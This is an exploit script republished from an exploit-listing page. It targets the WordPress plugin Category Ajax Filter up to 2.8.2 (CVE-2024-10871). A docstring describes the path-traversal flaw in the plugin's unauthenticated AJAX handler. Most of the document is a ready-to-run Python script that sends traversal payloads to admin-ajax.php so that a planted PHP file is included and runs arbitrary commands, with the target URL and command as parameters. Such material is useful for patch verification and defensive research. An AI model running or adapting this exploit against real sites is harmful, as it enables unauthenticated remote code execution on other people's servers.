Share
## https://sploitus.com/exploit?id=PACKETSTORM:226391
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Category Ajax Filter <= 2.8.2 - Unauthenticated Local File Inclusion to RCE
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/category-ajax-filter/
# Software Link: https://downloads.wordpress.org/plugin/category-ajax-filter.2.8.2.zip
# Version: 2.8.2 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2024-10871
r"""
Category Ajax Filter <= 2.8.2 registers the nopriv AJAX action get_filter_posts
(includes/functions.php:106). The handler reads $_POST['params']['caf-post-layout']
(includes/functions.php:134, only sanitize_text_field โ `../` survives) and includes it
(includes/functions.php:180-183):
if ($caf_post_layout && strlen($caf_post_layout) > 11) {
$filepath = TC_CAF_PATH . "includes/layouts/post/" . $caf_post_layout . ".php";
if (file_exists($filepath)) include_once $filepath;
TC_CAF_PATH is the plugin dir; caf-post-layout=../../../../../uploads/<file> traverses to
wp-content/uploads and includes an attacker-planted PHP -> RCE. The only guard is strlen>11 and the
nonce is enforced only when the referenced filter has meta caf_special_security=enable (default
disable -> unauthenticated).
Prior state: plugin active + a planted .php under wp-content/uploads (any upload primitive).
"""
import argparse, sys
import requests
requests.packages.urllib3.disable_warnings()
TOK = "CAFPWN"
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--planted", default="uploads/cafpwn",
help="planted php path relative to wp-content (no .php)")
ap.add_argument("--cmd", default="id")
ap.add_argument("--max-depth", type=int, default=7)
args = ap.parse_args()
base = args.target.rstrip("/")
for depth in range(3, args.max_depth + 1):
layout = "../" * depth + args.planted
d = {"action": "get_filter_posts", "params[caf-post-layout]": layout,
"params[tax]": "category", "params[post-type]": "post", "params[term]": "x",
"params[page]": "1", "params[per-page]": "1", "params[data-target-div]": "x"}
r = requests.post(base + "/wp-admin/admin-ajax.php", params={"c": args.cmd}, data=d,
verify=False, timeout=20)
if TOK in r.text:
out = r.text.split(TOK + ":")[1].split("<")[0].strip()
print(f"[*] Target: {base} | depth {depth}")
print(f"\n[+] LFI -> RCE CONFIRMED โ planted PHP executed:\n{out}")
return 0
print("[-] not confirmed (adjust --planted / --max-depth)"); return 1
if __name__ == "__main__":
sys.exit(main())